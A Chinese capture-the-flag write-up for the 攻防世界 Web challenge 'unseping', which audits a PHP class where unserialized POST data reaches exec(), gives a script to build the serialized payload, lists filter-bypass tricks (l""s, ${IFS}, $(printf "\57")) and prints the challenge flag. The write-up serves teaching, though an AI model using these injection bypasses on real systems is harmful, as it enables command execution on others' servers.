攻防世界-Web-unseping

知识点

1.php反序列化

2.命令执行绕过

步骤

打开网站,是php代码,审计。

php 复制代码
<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) { //初始化
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){ 
        if (in_array($this->method, array("ping"))) { //判断method是否存在ping
            call_user_func_array(array($this, $this->method), $this->args); //调用method,参数为args
        }
    } 
 
    function ping($ip){
        exec($ip, $result); //执行ip,结果为result,并输出
        var_dump($result);
    }

    function waf($str){ //过滤函数,过滤了,/,cat,flag等
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //调用waf,反序列化时调用
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

综上,post接受ctf数据,将method为ping,参数为要执行的命令,并绕过waf。

注意:这里的参数是数组,因为在__wakeup中foreach是k,v的形式。

1.基本反序列化代码

php 复制代码
<?php

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$a = new ease('ping',array('ls')); 
$b = serialize($a);
echo($b);
echo(base64_encode($b));
?>

2.绕过ls

使用l""s或者l''s

3.绕过空格

使用${IFS}

4.绕过/

使用$(printf "\57")

flag{de2e33ce-fdfe-4132-87ba-3b97d641a9f7}

相关推荐
CDN3603 小时前
低成本游戏防护:360 SDK 游戏盾使用总结
运维·游戏·网络安全
Chockmans4 小时前
春秋云境CVE-2021-46436
web安全·网络安全·春秋云境·cve-2021-46436
xixixi777776 小时前
5G核心网核心之辨:从服务化架构(SBA)到网络切片的深度实践解析
人工智能·网络安全·信息与通信·通信
IpdataCloud6 小时前
网络安防实战:如何用IP查询工具精准定位风险IP?
网络·经验分享·tcp/ip·网络安全
XuanTao776 小时前
【分享】✍️手写生成器|高级版|轻松生成自然逼真手写字体
数码相机·计算机网络·网络安全·智能手机·软件工程
xixixi777777 小时前
从SQL注入到XSS:实战Web安全渗透测试
人工智能·安全·web安全·网络安全·卫星通信
CDN3607 小时前
爬虫对抗:ZLibrary反爬机制实战分析及360CDN解决方案可行性论证
爬虫·网络安全
爱学习的程序媛7 小时前
【Web前端】WebAssembly实战项目
前端·web·wasm
我爱吃土豆18 小时前
HTTP首部讲解
后端·http·web
Evand J8 小时前
计算机四级——《网络工程》科目,易错点总结【纯手工总结】
网络协议·网络安全·网络工程·计算机四级